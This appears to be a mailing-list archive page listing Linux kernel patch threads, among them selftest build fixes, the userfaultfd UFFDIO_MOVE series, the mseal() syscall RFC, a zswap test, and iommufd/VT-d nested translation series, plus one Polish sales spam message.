in-tree modules. Currently there is a bug when running the kselftests-clean target with bpf: make kselftest-clean TARGETS=bpf SKIP_TARGETS="" As the M= argument is ignore on the toplevel Makefile, this make invocation applies the clean to all built kernel objects/modules/everything, which is bug IMO. There is a statement in the BPF docs saying that the selftests should be run inside the tools/testing/selftests/bpf directory. At the same time, kselftests should comply with all the targets defined in the documention, like gen_tar, and run_tests. In this case should the build process be fixed, or just make kselftests less restrict? (CCing kselftests and bpf ML) > > HTH. > > Kind regards, > Nicolas > > > > For the sake of my initial about livepatch kselftests, KBUILD_EXTMOD > > will suffice, since we will target /lib/modules, but I would like to know what > > we can do in this case. Do you have other suggestions? > > > > Thanks in advance, > > Marcos > > > > > > > > > > > > > > > > > > > > -- > > > Best Regards > > > Masahiro Yamada > > > diff --git a/tools/testing/selftests/bpf/bpf_testmod/Makefile b/tools/testing/selftests/bpf/bpf_testmod/Makefile > > index 15cb36c4483a..1dce76f35405 100644 > > --- a/tools/testing/selftests/bpf/bpf_testmod/Makefile > > +++ b/tools/testing/selftests/bpf/bpf_testmod/Makefile > > @@ -1,5 +1,6 @@ > > BPF_TESTMOD_DIR := $(realpath $(dir $(abspath $(lastword $(MAKEFILE_LIST))))) > > -KDIR ?= $(abspath $(BPF_TESTMOD_DIR)/../../../../..) > > +#KDIR ?= $(abspath $(BPF_TESTMOD_DIR)/../../../../..) > > +KDIR ?= /lib/modules/$(shell uname -r)/build > > > > ifeq ($(V),1) > > Q = > > @@ -12,9 +13,10 @@ MODULES = bpf_testmod.ko > > obj-m += bpf_testmod.o > > CFLAGS_bpf_testmod.o = -I$(src) > > > > +export KBUILD_EXTMOD := $(BPF_TESTMOD_DIR) > > + > > all: > > - +$(Q)make -C $(KDIR) M=$(BPF_TESTMOD_DIR) modules > > + +$(Q)make -C $(KDIR) modules > > > > clean: > > - +$(Q)make -C $(KDIR) M=$(BPF_TESTMOD_DIR) clean > > - > > + +$(Q)make -C $(KDIR) clean >

1 year, 11 months

1
0
0 0

[PATCH v2 1/4] selftests: capabilities: remove duplicate unneeded defines

by Muhammad Usama Anjum

These duplicate defines should automatically be picked up from kernel headers. Use KHDR_INCLUDES to add kernel header files. Signed-off-by: Muhammad Usama Anjum <usama.anjum(a)collabora.com> --- tools/testing/selftests/capabilities/Makefile | 2 +- tools/testing/selftests/capabilities/test_execve.c | 8 -------- tools/testing/selftests/capabilities/validate_cap.c | 8 -------- 3 files changed, 1 insertion(+), 17 deletions(-) diff --git a/tools/testing/selftests/capabilities/Makefile b/tools/testing/selftests/capabilities/Makefile index 6e9d98d457d5b..411ac098308f1 100644 --- a/tools/testing/selftests/capabilities/Makefile +++ b/tools/testing/selftests/capabilities/Makefile @@ -2,7 +2,7 @@ TEST_GEN_FILES := validate_cap TEST_GEN_PROGS := test_execve -CFLAGS += -O2 -g -std=gnu99 -Wall +CFLAGS += -O2 -g -std=gnu99 -Wall $(KHDR_INCLUDES) LDLIBS += -lcap-ng -lrt -ldl include ../lib.mk diff --git a/tools/testing/selftests/capabilities/test_execve.c b/tools/testing/selftests/capabilities/test_execve.c index df0ef02b40367..e3a352b020a79 100644 --- a/tools/testing/selftests/capabilities/test_execve.c +++ b/tools/testing/selftests/capabilities/test_execve.c @@ -20,14 +20,6 @@ #include "../kselftest.h" -#ifndef PR_CAP_AMBIENT -#define PR_CAP_AMBIENT 47 -# define PR_CAP_AMBIENT_IS_SET 1 -# define PR_CAP_AMBIENT_RAISE 2 -# define PR_CAP_AMBIENT_LOWER 3 -# define PR_CAP_AMBIENT_CLEAR_ALL 4 -#endif - static int nerrs; static pid_t mpid; /* main() pid is used to avoid duplicate test counts */ diff --git a/tools/testing/selftests/capabilities/validate_cap.c b/tools/testing/selftests/capabilities/validate_cap.c index cdfc94268fe6e..60b4e7b716a75 100644 --- a/tools/testing/selftests/capabilities/validate_cap.c +++ b/tools/testing/selftests/capabilities/validate_cap.c @@ -9,14 +9,6 @@ #include "../kselftest.h" -#ifndef PR_CAP_AMBIENT -#define PR_CAP_AMBIENT 47 -# define PR_CAP_AMBIENT_IS_SET 1 -# define PR_CAP_AMBIENT_RAISE 2 -# define PR_CAP_AMBIENT_LOWER 3 -# define PR_CAP_AMBIENT_CLEAR_ALL 4 -#endif - #if __GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 19) # define HAVE_GETAUXVAL #endif -- 2.40.1

1 year, 11 months

2
5
0 0

[PATCH v3 0/3] userfaultfd move option

by Suren Baghdasaryan

This patch series introduces UFFDIO_MOVE feature to userfaultfd, which has long been implemented and maintained by Andrea in his local tree [1], but was not upstreamed due to lack of use cases where this approach would be better than allocating a new page and copying the contents. Previous upstraming attempts could be found at [6] and [7]. UFFDIO_COPY performs ~20% better than UFFDIO_MOVE when the application needs pages to be allocated [2]. However, with UFFDIO_MOVE, if pages are available (in userspace) for recycling, as is usually the case in heap compaction algorithms, then we can avoid the page allocation and memcpy (done by UFFDIO_COPY). Also, since the pages are recycled in the userspace, we avoid the need to release (via madvise) the pages back to the kernel [3]. We see over 40% reduction (on a Google pixel 6 device) in the compacting thread’s completion time by using UFFDIO_MOVE vs. UFFDIO_COPY. This was measured using a benchmark that emulates a heap compaction implementation using userfaultfd (to allow concurrent accesses by application threads). More details of the usecase are explained in [3]. Furthermore, UFFDIO_MOVE enables moving swapped-out pages without touching them within the same vma. Today, it can only be done by mremap, however it forces splitting the vma. Main changes since Andrea's last version [1]: - Trivial translations from page to folio, mmap_sem to mmap_lock - Replace pmd_trans_unstable() with pte_offset_map_nolock() and handle its possible failure - Move pte mapping into remap_pages_pte to allow for retries when source page or anon_vma is contended. Since pte_offset_map_nolock() start RCU read section, we can't block anymore after mapping a pte, so have to unmap the ptesm do the locking and retry. - Add and use anon_vma_trylock_write() to avoid blocking while in RCU read section. - Accommodate changes in mmu_notifier_range_init() API, switch to mmu_notifier_invalidate_range_start_nonblock() to avoid blocking while in RCU read section. - Open-code now removed __swp_swapcount() - Replace pmd_read_atomic() with pmdp_get_lockless() - Add new selftest for UFFDIO_MOVE Changes since v1 [4]: - add mmget_not_zero in userfaultfd_remap, per Jann Horn - removed extern from function definitions, per Matthew Wilcox - converted to folios in remap_pages_huge_pmd, per Matthew Wilcox - use PageAnonExclusive in remap_pages_huge_pmd, per David Hildenbrand - handle pgtable transfers between MMs, per Jann Horn - ignore concurrent A/D pte bit changes, per Jann Horn - split functions into smaller units, per David Hildenbrand - test for folio_test_large in remap_anon_pte, per Matthew Wilcox - use pte_swp_exclusive for swapcount check, per David Hildenbrand - eliminated use of mmu_notifier_invalidate_range_start_nonblock, per Jann Horn - simplified THP alignment checks, per Jann Horn - refactored the loop inside remap_pages, per Jann Horn - additional clarifying comments, per Jann Horn Changes since v2 [5]: - renamed UFFDIO_REMAP to UFFDIO_MOVE, per David Hildenbrand - rebase over mm-unstable to use folio_move_anon_rmap(), per David Hildenbrand - added text for manpage explaining DONTFORK and KSM requirements for this feature, per David Hildenbrand - check for anon_vma changes in the fast path of folio_lock_anon_vma_read, per Peter Xu - updated the title and description of the first patch, per David Hildenbrand - updating comments in folio_lock_anon_vma_read() explaining the need for anon_vma checks, per David Hildenbrand - changed all mapcount checks to PageAnonExclusive, per Jann Horn and David Hildenbrand - changed counters in remap_swap_pte() from MM_ANONPAGES to MM_SWAPENTS, per Jann Horn - added a check for PTE change after folio is locked in remap_pages_pte(), per Jann Horn - added handling of PMD migration entries and bailout when pmd_devmap(), per Jann Horn - added checks to ensure both src and dst VMAs are writable, per Peter Xu - added UFFD_FEATURE_MOVE, per Peter Xu - removed obsolete comments, per Peter Xu - renamed remap_anon_pte to remap_present_pte, per Peter Xu - added a comment for folio_get_anon_vma() explaining the need for anon_vma checks, per Peter Xu - changed error handling in remap_pages() to make it more clear, per Peter Xu - changed EFAULT to EAGAIN to retry when a hugepage appears or disappears from under us, per Peter Xu - added links to previous upstreaming attempts, per David Hildenbrand [1] https://gitlab.com/aarcange/aa/-/commit/2aec7aea56b10438a3881a20a411aa4b1fc… [2] https://lore.kernel.org/all/1425575884-2574-1-git-send-email-aarcange@redha… [3] https://lore.kernel.org/linux-mm/CA+EESO4uO84SSnBhArH4HvLNhaUQ5nZKNKXqxRCyj… [4] https://lore.kernel.org/all/20230914152620.2743033-1-surenb@google.com/ [5] https://lore.kernel.org/all/20230923013148.1390521-1-surenb@google.com/ [6] https://lore.kernel.org/all/1425575884-2574-21-git-send-email-aarcange@redh… [7] https://lore.kernel.org/all/cover.1547251023.git.blake.caldwell@colorado.ed… The patchset applies over mm-unstable. Andrea Arcangeli (2): mm/rmap: support move to different root anon_vma in folio_move_anon_rmap() userfaultfd: UFFDIO_MOVE uABI Suren Baghdasaryan (1): selftests/mm: add UFFDIO_MOVE ioctl test Documentation/admin-guide/mm/userfaultfd.rst | 3 + fs/userfaultfd.c | 63 ++ include/linux/rmap.h | 5 + include/linux/userfaultfd_k.h | 12 + include/uapi/linux/userfaultfd.h | 29 +- mm/huge_memory.c | 138 +++++ mm/khugepaged.c | 3 + mm/rmap.c | 30 + mm/userfaultfd.c | 602 +++++++++++++++++++ tools/testing/selftests/mm/uffd-common.c | 41 +- tools/testing/selftests/mm/uffd-common.h | 1 + tools/testing/selftests/mm/uffd-unit-tests.c | 62 ++ 12 files changed, 986 insertions(+), 3 deletions(-) -- 2.42.0.609.gbb76f46606-goog

1 year, 11 months

6
51
0 0

[RFC PATCH v1 0/8] Introduce mseal() syscall

by jeffxu＠chromium.org

From: Jeff Xu <jeffxu(a)google.com> This patchset proposes a new mseal() syscall for the Linux kernel. Modern CPUs support memory permissions such as RW and NX bits. Linux has supported NX since the release of kernel version 2.6.8 in August 2004 [1]. The memory permission feature improves security stance on memory corruption bugs, i.e. the attacker can’t just write to arbitrary memory and point the code to it, the memory has to be marked with X bit, or else an exception will happen. Memory sealing additionally protects the mapping itself against modifications. This is useful to mitigate memory corruption issues where a corrupted pointer is passed to a memory management syscall. For example, such an attacker primitive can break control-flow integrity guarantees since read-only memory that is supposed to be trusted can become writable or .text pages can get remapped. Memory sealing can automatically be applied by the runtime loader to seal .text and .rodata pages and applications can additionally seal security critical data at runtime. A similar feature already exists in the XNU kernel with the VM_FLAGS_PERMANENT [3] flag and on OpenBSD with the mimmutable syscall [4]. Also, Chrome wants to adopt this feature for their CFI work [2] and this patchset has been designed to be compatible with the Chrome use case. The new mseal() is an architecture independent syscall, and with following signature: mseal(void addr, size_t len, unsigned int types, unsigned int flags) addr/len: memory range. Must be continuous/allocated memory, or else mseal() will fail and no VMA is updated. For details on acceptable arguments, please refer to comments in mseal.c. Those are also fully covered by the selftest. types: bit mask to specify which syscall to seal, currently they are: MM_SEAL_MSEAL 0x1 MM_SEAL_MPROTECT 0x2 MM_SEAL_MUNMAP 0x4 MM_SEAL_MMAP 0x8 MM_SEAL_MREMAP 0x10 Each bit represents sealing for one specific syscall type, e.g. MM_SEAL_MPROTECT will deny mprotect syscall. The consideration of bitmask is that the API is extendable, i.e. when needed, the sealing can be extended to madvise, mlock, etc. Backward compatibility is also easy. The kernel will remember which seal types are applied, and the application doesn’t need to repeat all existing seal types in the next mseal(). Once a seal type is applied, it can’t be unsealed. Call mseal() on an existing seal type is a no-action, not a failure. MM_SEAL_MSEAL will deny mseal() calls that try to add a new seal type. Internally, vm_area_struct adds a new field vm_seals, to store the bit masks. For the affected syscalls, such as mprotect, a check(can_modify_mm) for sealing is added, this usually happens at the early point of the syscall, before any update is made to VMAs. The effect of that is: if any of the VMAs in the given address range fails the sealing check, none of the VMA will be updated. It might be worth noting that this is different from the rest of mprotect(), where some updates can happen even when mprotect returns fail. Consider can_modify_mm only checks vm_seals in vm_area_struct, and it is not going deeper in the page table or updating any HW, success or none behavior might fit better here. I would like to listen to the community's feedback on this. The idea that inspired this patch comes from Stephen Röttger’s work in V8 CFI [5], Chrome browser in ChromeOS will be the first user of this API. In addition, Stephen is working on glibc change to add sealing support into the dynamic linker to seal all non-writable segments at startup. When that work is completed, all applications can automatically benefit from these new protections. [1] https://kernelnewbies.org/Linux_2_6_8 [2] https://v8.dev/blog/control-flow-integrity [3] https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b… [4] https://man.openbsd.org/mimmutable.2 [5] https://docs.google.com/document/d/1O2jwK4dxI3nRcOJuPYkonhTkNQfbmwdvxQMyXge… Jeff Xu (8): Add mseal syscall Wire up mseal syscall mseal: add can_modify_mm and can_modify_vma mseal: seal mprotect mseal munmap mseal mremap mseal mmap selftest mm/mseal mprotect/munmap/mremap/mmap arch/alpha/kernel/syscalls/syscall.tbl | 1 + arch/arm/tools/syscall.tbl | 1 + arch/arm64/include/asm/unistd.h | 2 +- arch/arm64/include/asm/unistd32.h | 2 + arch/ia64/kernel/syscalls/syscall.tbl | 1 + arch/m68k/kernel/syscalls/syscall.tbl | 1 + arch/microblaze/kernel/syscalls/syscall.tbl | 1 + arch/mips/kernel/syscalls/syscall_n32.tbl | 1 + arch/mips/kernel/syscalls/syscall_n64.tbl | 1 + arch/mips/kernel/syscalls/syscall_o32.tbl | 1 + arch/parisc/kernel/syscalls/syscall.tbl | 1 + arch/powerpc/kernel/syscalls/syscall.tbl | 1 + arch/s390/kernel/syscalls/syscall.tbl | 1 + arch/sh/kernel/syscalls/syscall.tbl | 1 + arch/sparc/kernel/syscalls/syscall.tbl | 1 + arch/x86/entry/syscalls/syscall_32.tbl | 1 + arch/x86/entry/syscalls/syscall_64.tbl | 1 + arch/xtensa/kernel/syscalls/syscall.tbl | 1 + fs/aio.c | 5 +- include/linux/mm.h | 55 +- include/linux/mm_types.h | 7 + include/linux/syscalls.h | 2 + include/uapi/asm-generic/unistd.h | 5 +- include/uapi/linux/mman.h | 6 + ipc/shm.c | 3 +- kernel/sys_ni.c | 1 + mm/Kconfig | 8 + mm/Makefile | 1 + mm/internal.h | 4 +- mm/mmap.c | 49 +- mm/mprotect.c | 6 + mm/mremap.c | 19 +- mm/mseal.c | 328 +++++ mm/nommu.c | 6 +- mm/util.c | 8 +- tools/testing/selftests/mm/Makefile | 1 + tools/testing/selftests/mm/mseal_test.c | 1428 +++++++++++++++++++ 37 files changed, 1934 insertions(+), 28 deletions(-) create mode 100644 mm/mseal.c create mode 100644 tools/testing/selftests/mm/mseal_test.c -- 2.42.0.609.gbb76f46606-goog

1 year, 11 months

10
42
0 0

Wycena paneli fotowoltaicznych

by Kamil Lasek

Dzień dobry, dostrzegam możliwość współpracy z Państwa firmą. Świadczymy kompleksową obsługę inwestycji w fotowoltaikę, która obniża koszty energii elektrycznej. Czy są Państwo zainteresowani weryfikacją wstępnych propozycji? Pozdrawiam, Kamil Lasek

1 year, 11 months

1
0
0 0

[PATCH] selftests: bpf: add malloc failures checks in bpf_iter

by Yuran Pereira

Since some malloc calls in bpf_iter may at times fail, this patch adds the appropriate fail checks, and ensures that any previously allocated resource is appropriately destroyed before returning the function. Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- tools/testing/selftests/bpf/prog_tests/bpf_iter.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 1f02168103dd..6d47ea9211a4 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -878,6 +878,11 @@ static void test_bpf_percpu_hash_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (CHECK(!val, "malloc", "memory allocation failed: %s", + strerror(errno))) { + bpf_iter_bpf_percpu_hash_map__destroy(skel); + return; + } err = bpf_iter_bpf_percpu_hash_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_hash_map__load")) @@ -1057,6 +1062,11 @@ static void test_bpf_percpu_array_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (CHECK(!val, "malloc", "memory allocation failed: %s", + strerror(errno))) { + bpf_iter_bpf_percpu_hash_map__destroy(skel); + return; + } err = bpf_iter_bpf_percpu_array_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_array_map__load")) -- 2.25.1

1 year, 11 months

2
1
0 0

[PATCH] selftests: add a sanity check for zswap

by Nhat Pham

We recently encountered a bug that makes all zswap store attempt fail. Specifically, after: "141fdeececb3 mm/zswap: delay the initialization of zswap" if we build a kernel with zswap disabled by default, then enabled after the swapfile is set up, the zswap tree will not be initialized. As a result, all zswap store calls will be short-circuited. We have to perform another swapon to get zswap working properly again. Fortunately, this issue has since been fixed by the patch that kills frontswap: "42c06a0e8ebe mm: kill frontswap" which performs zswap_swapon() unconditionally, i.e always initializing the zswap tree. This test add a sanity check that ensure zswap storing works as intended. Signed-off-by: Nhat Pham <nphamcs(a)gmail.com> --- tools/testing/selftests/cgroup/test_zswap.c | 48 +++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/tools/testing/selftests/cgroup/test_zswap.c b/tools/testing/selftests/cgroup/test_zswap.c index 49def87a909b..c99d2adaca3f 100644 --- a/tools/testing/selftests/cgroup/test_zswap.c +++ b/tools/testing/selftests/cgroup/test_zswap.c @@ -55,6 +55,11 @@ static int get_zswap_written_back_pages(size_t *value) return read_int("/sys/kernel/debug/zswap/written_back_pages", value); } +static long get_zswpout(const char *cgroup) +{ + return cg_read_key_long(cgroup, "memory.stat", "zswpout "); +} + static int allocate_bytes(const char *cgroup, void *arg) { size_t size = (size_t)arg; @@ -68,6 +73,48 @@ static int allocate_bytes(const char *cgroup, void *arg) return 0; } +/* + * Sanity test to check that pages are written into zswap. + */ +static int test_zswap_usage(const char *root) +{ + long zswpout_before, zswpout_after; + int ret = KSFT_FAIL; + char *test_group; + + /* Set up */ + test_group = cg_name(root, "no_shrink_test"); + if (!test_group) + goto out; + if (cg_create(test_group)) + goto out; + if (cg_write(test_group, "memory.max", "1M")) + goto out; + + zswpout_before = get_zswpout(test_group); + if (zswpout_before < 0) { + ksft_print_msg("Failed to get zswpout\n"); + goto out; + } + + /* Allocate more than memory.max to push memory into zswap */ + if (cg_run(test_group, allocate_bytes, (void *)MB(4))) + goto out; + + /* Verify that pages come into zswap */ + zswpout_after = get_zswpout(test_group); + if (zswpout_after <= zswpout_before) { + ksft_print_msg("zswpout does not increase after test program\n"); + goto out; + } + ret = KSFT_PASS; + +out: + cg_destroy(test_group); + free(test_group); + return ret; +} + /* * When trying to store a memcg page in zswap, if the memcg hits its memory * limit in zswap, writeback should not be triggered. @@ -235,6 +282,7 @@ struct zswap_test { int (*fn)(const char *root); const char *name; } tests[] = { + T(test_zswap_usage), T(test_no_kmem_bypass), T(test_no_invasive_cgroup_shrink), }; -- 2.34.1

1 year, 11 months

2
1
0 0

[PATCH v6 0/8] Add Intel VT-d nested translation (part 1/2)

by Yi Liu

This is the first part to add Intel VT-d nested translation based on IOMMUFD nesting infrastructure. As the iommufd nesting infrastructure series[1], iommu core supports new ops to allocate domains with user data. For nesting, the user data is vendor-specific, IOMMU_HWPT_DATA_VTD_S1 is defined for the Intel VT-d stage-1 page table, it will be used in the stage-1 domain allocation path. struct iommu_hwpt_vtd_s1 is defined to pass user_data for the Intel VT-d stage-1 domain allocation. This series does not have the cache invalidation path, it would be added in part 2/2. The first Intel platform supporting nested translation is Sapphire Rapids which, unfortunately, has a hardware errata [2] requiring special treatment. This errata happens when a stage-1 page table page (either level) is located in a stage-2 read-only region. In that case the IOMMU hardware may ignore the stage-2 RO permission and still set the A/D bit in stage-1 page table entries during page table walking. A flag IOMMU_HW_INFO_VTD_ERRATA_772415_SPR17 is introduced to report this errata to userspace. With that restriction the user should either disable nested translation to favor RO stage-2 mappings or ensure no RO stage-2 mapping to enable nested translation. Intel-iommu driver is armed with necessary checks to prevent such mix in patch8 of this series. Qemu currently does add RO mappings though. The vfio agent in Qemu simply maps all valid regions in the GPA address space which certainly includes RO regions e.g. vbios. In reality we don't know a usage relying on DMA reads from the BIOS region. Hence finding a way to skip RO regions (e.g. via a discard manager) in Qemu might be an acceptable tradeoff. The actual change needs more discussion in Qemu community. For now we just hacked Qemu to test. Complete code can be found in [3], corresponding QEMU could can be found in [4]. [1] https://lore.kernel.org/linux-iommu/20231020091946.12173-1-yi.l.liu@intel.c… [2] https://www.intel.com/content/www/us/en/content-details/772415/content-deta… [3] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [4] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v6: - Add Kevin's r-b for patch 1 and 8 - Drop Kevin's r-b for patch 7 - Address comments from Kevin - Split the VT-d nesting series into two parts 1/2 and 2/2 v5: https://lore.kernel.org/linux-iommu/20230921075431.125239-1-yi.l.liu@intel.… - Add Kevin's r-b for patch 2, 3 ,5 8, 10 - Drop enforce_cache_coherency callback from the nested type domain ops (Kevin) - Remove duplicate agaw check in patch 04 (Kevin) - Remove duplicate domain_update_iommu_cap() in patch 06 (Kevin) - Check parent's force_snooping to set pgsnp in the pasid entry (Kevin) - uapi data structure check (Kevin) - Simplify the errata handling as user can allocate nested parent domain v4: https://lore.kernel.org/linux-iommu/20230724111335.107427-1-yi.l.liu@intel.… - Remove ascii art tables (Jason) - Drop EMT (Tina, Jason) - Drop MTS and related definitions (Kevin) - Rename macro IOMMU_VTD_PGTBL_ to IOMMU_VTD_S1_ (Kevin) - Rename struct iommu_hwpt_intel_vtd_ to iommu_hwpt_vtd_ (Kevin) - Rename struct iommu_hwpt_intel_vtd to iommu_hwpt_vtd_s1 (Kevin) - Put the vendor specific hwpt alloc data structure before enuma iommu_hwpt_type (Kevin) - Do not trim the higher page levels of S2 domain in nested domain attachment as the S2 domain may have been used independently. (Kevin) - Remove the first-stage pgd check against the maximum address of s2_domain as hw can check it anyhow. It makes sense to check every pfns used in the stage-1 page table. But it cannot make it. So just leave it to hw. (Kevin) - Split the iotlb flush part into an order of uapi, helper and callback implementation (Kevin) - Change the policy of VT-d nesting errata, disallow RO mapping once a domain is used as parent domain of a nested domain. This removes the nested_users counting. (Kevin) - Minor fix for "make htmldocs" v3: https://lore.kernel.org/linux-iommu/20230511145110.27707-1-yi.l.liu@intel.c… - Further split the patches into an order of adding helpers for nested domain, iotlb flush, nested domain attachment and nested domain allocation callback, then report the hw_info to userspace. - Add batch support in cache invalidation from userspace - Disallow nested translation usage if RO mappings exists in stage-2 domain due to errata on readonly mappings on Sapphire Rapids platform. v2: https://lore.kernel.org/linux-iommu/20230309082207.612346-1-yi.l.liu@intel.… - The iommufd infrastructure is split to be separate series. v1: https://lore.kernel.org/linux-iommu/20230209043153.14964-1-yi.l.liu@intel.c… Regards, Yi Liu Lu Baolu (5): iommu/vt-d: Extend dmar_domain to support nested domain iommu/vt-d: Add helper for nested domain allocation iommu/vt-d: Add helper to setup pasid nested translation iommu/vt-d: Add nested domain allocation iommu/vt-d: Disallow read-only mappings to nest parent domain Yi Liu (3): iommufd: Add data structure for Intel VT-d stage-1 domain allocation iommu/vt-d: Make domain attach helpers to be extern iommu/vt-d: Set the nested domain to a device drivers/iommu/intel/Makefile | 2 +- drivers/iommu/intel/iommu.c | 63 +++++++++++++------- drivers/iommu/intel/iommu.h | 46 ++++++++++++-- drivers/iommu/intel/nested.c | 109 ++++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.c | 112 +++++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.h | 2 + include/uapi/linux/iommufd.h | 42 ++++++++++++- 7 files changed, 348 insertions(+), 28 deletions(-) create mode 100644 drivers/iommu/intel/nested.c -- 2.34.1

1 year, 11 months

3
17
0 0

[PATCH v4 00/17] iommufd: Add nesting infrastructure

by Yi Liu

Nested translation is a hardware feature that is supported by many modern IOMMU hardwares. It has two stages (stage-1, stage-2) address translation to get access to the physical address. stage-1 translation table is owned by userspace (e.g. by a guest OS), while stage-2 is owned by kernel. Changes to stage-1 translation table should be followed by an IOTLB invalidation. Take Intel VT-d as an example, the stage-1 translation table is I/O page table. As the below diagram shows, guest I/O page table pointer in GPA (guest physical address) is passed to host and be used to perform the stage-1 address translation. Along with it, modifications to present mappings in the guest I/O page table should be followed with an IOTLB invalidation. .-------------. .---------------------------. | vIOMMU | | Guest I/O page table | | | '---------------------------' .----------------/ | PASID Entry |--- PASID cache flush --+ '-------------' | | | V | | I/O page table pointer in GPA '-------------' Guest ------| Shadow |---------------------------|-------- v v v Host .-------------. .------------------------. | pIOMMU | | FS for GIOVA->GPA | | | '------------------------' .----------------/ | | PASID Entry | V (Nested xlate) '----------------\.----------------------------------. | | | SS for GPA->HPA, unmanaged domain| | | '----------------------------------' '-------------' Where: - FS = First stage page tables - SS = Second stage page tables <Intel VT-d Nested translation> In IOMMUFD, all the translation tables are tracked by hw_pagetable (hwpt) and each has an iommu_domain allocated from iommu driver. So in this series hw_pagetable and iommu_domain means the same thing if no special note. IOMMUFD has already supported allocating hw_pagetable that is linked with an IOAS. However, nesting requires IOMMUFD to allow allocating hw_pagetable with driver specific parameters and interface to sync stage-1 IOTLB as user owns the stage-1 translation table. This series is based on the iommu hw info reporting series [1]. It first extends domain_alloc_user to allocate domains with user data and adds new op for invalidate stage-1 IOTLB for user-managed domains, then extends the IOMMUFD internal infrastructure to accept user_data and parent hwpt, relay the user_data/parent to iommu core to allocate user-managed iommu_domain. After it, extends the ioctl IOMMU_HWPT_ALLOC to accept user data and stage-2 hwpt ID. Along with it, ioctl IOMMU_HWPT_INVALIDATE is added to invalidate stage-1 IOTLB. This is needed for user-managed hwpts. Selftest is added as well to cover the new ioctls. Complete code can be found in [2], QEMU could can be found in [3]. At last, this is a team work together with Nicolin Chen, Lu Baolu. Thanks them for the help. ^_^. Look forward to your feedbacks. [1] https://lore.kernel.org/linux-iommu/20230818101033.4100-1-yi.l.liu@intel.co… - merged [2] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [3] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v4: - Separate HWPT alloc/destroy/abort functions between user-managed HWPTs and kernel-managed HWPTs - Rework invalidate uAPI to be a multi-request array-based design - Add a struct iommu_user_data_array and a helper for driver to sanitize and copy the entry data from user space invalidation array - Add a patch fixing TEST_LENGTH() in selftest program - Drop IOMMU_RESV_IOVA_RANGES patches - Update kdoc and inline comments - Drop the code to add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation, this does not change the rule that resv regions should only be added to the kernel-managed HWPT. The IOMMU_RESV_SW_MSI stuff will be added in later series as it is needed only by SMMU so far. v3: https://lore.kernel.org/linux-iommu/20230724110406.107212-1-yi.l.liu@intel.… - Add new uAPI things in alphabetical order - Pass in "enum iommu_hwpt_type hwpt_type" to op->domain_alloc_user for sanity, replacing the previous op->domain_alloc_user_data_len solution - Return ERR_PTR from domain_alloc_user instead of NULL - Only add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation (Kevin) - Add IOMMU_RESV_IOVA_RANGES to report resv iova ranges to userspace hence userspace is able to exclude the ranges in the stage-1 HWPT (e.g. guest I/O page table). (Kevin) - Add selftest coverage for the new IOMMU_RESV_IOVA_RANGES ioctl - Minor changes per Kevin's inputs v2: https://lore.kernel.org/linux-iommu/20230511143844.22693-1-yi.l.liu@intel.c… - Add union iommu_domain_user_data to include all user data structures to avoid passing void * in kernel APIs. - Add iommu op to return user data length for user domain allocation - Rename struct iommu_hwpt_alloc::data_type to be hwpt_type - Store the invalidation data length in iommu_domain_ops::cache_invalidate_user_data_len - Convert cache_invalidate_user op to be int instead of void - Remove @data_type in struct iommu_hwpt_invalidate - Remove out_hwpt_type_bitmap in struct iommu_hw_info hence drop patch 08 of v1 v1: https://lore.kernel.org/linux-iommu/20230309080910.607396-1-yi.l.liu@intel.… Thanks, Yi Liu Lu Baolu (1): iommu: Add nested domain support Nicolin Chen (12): iommufd: Unite all kernel-managed members into a struct iommufd: Separate kernel-managed HWPT alloc/destroy/abort functions iommufd: Add shared alloc_fn function pointer and mutex pointer iommufd: Add user-managed hw_pagetable support iommufd: Always setup MSI and anforce cc on kernel-managed domains iommufd/device: Add helpers to enforce/remove device reserved regions iommufd/selftest: Rework TEST_LENGTH to test min_size explicitly iommufd/selftest: Add nested domain allocation for mock domain iommufd/selftest: Add coverage for IOMMU_HWPT_ALLOC with nested HWPTs iommufd/selftest: Add mock_domain_cache_invalidate_user support iommufd/selftest: Add IOMMU_TEST_OP_MD_CHECK_IOTLB test op iommufd/selftest: Add coverage for IOMMU_HWPT_INVALIDATE ioctl Yi Liu (4): iommu: Add hwpt_type with user_data for domain_alloc_user op iommufd: Pass in hwpt_type/user_data to iommufd_hw_pagetable_alloc() iommufd: Support IOMMU_HWPT_ALLOC allocation with user data iommufd: Add IOMMU_HWPT_INVALIDATE drivers/iommu/intel/iommu.c | 5 +- drivers/iommu/iommufd/device.c | 51 +++- drivers/iommu/iommufd/hw_pagetable.c | 257 ++++++++++++++++-- drivers/iommu/iommufd/iommufd_private.h | 59 +++- drivers/iommu/iommufd/iommufd_test.h | 40 +++ drivers/iommu/iommufd/main.c | 3 + drivers/iommu/iommufd/selftest.c | 184 ++++++++++++- include/linux/iommu.h | 110 +++++++- include/uapi/linux/iommufd.h | 60 +++- tools/testing/selftests/iommu/iommufd.c | 209 +++++++++++++- .../selftests/iommu/iommufd_fail_nth.c | 3 +- tools/testing/selftests/iommu/iommufd_utils.h | 91 ++++++- 12 files changed, 998 insertions(+), 74 deletions(-) -- 2.34.1

1 year, 11 months

7
105
0 0

[PATCH] Incorrect backtracking for load/store or atomic ops

by Tao Lyu

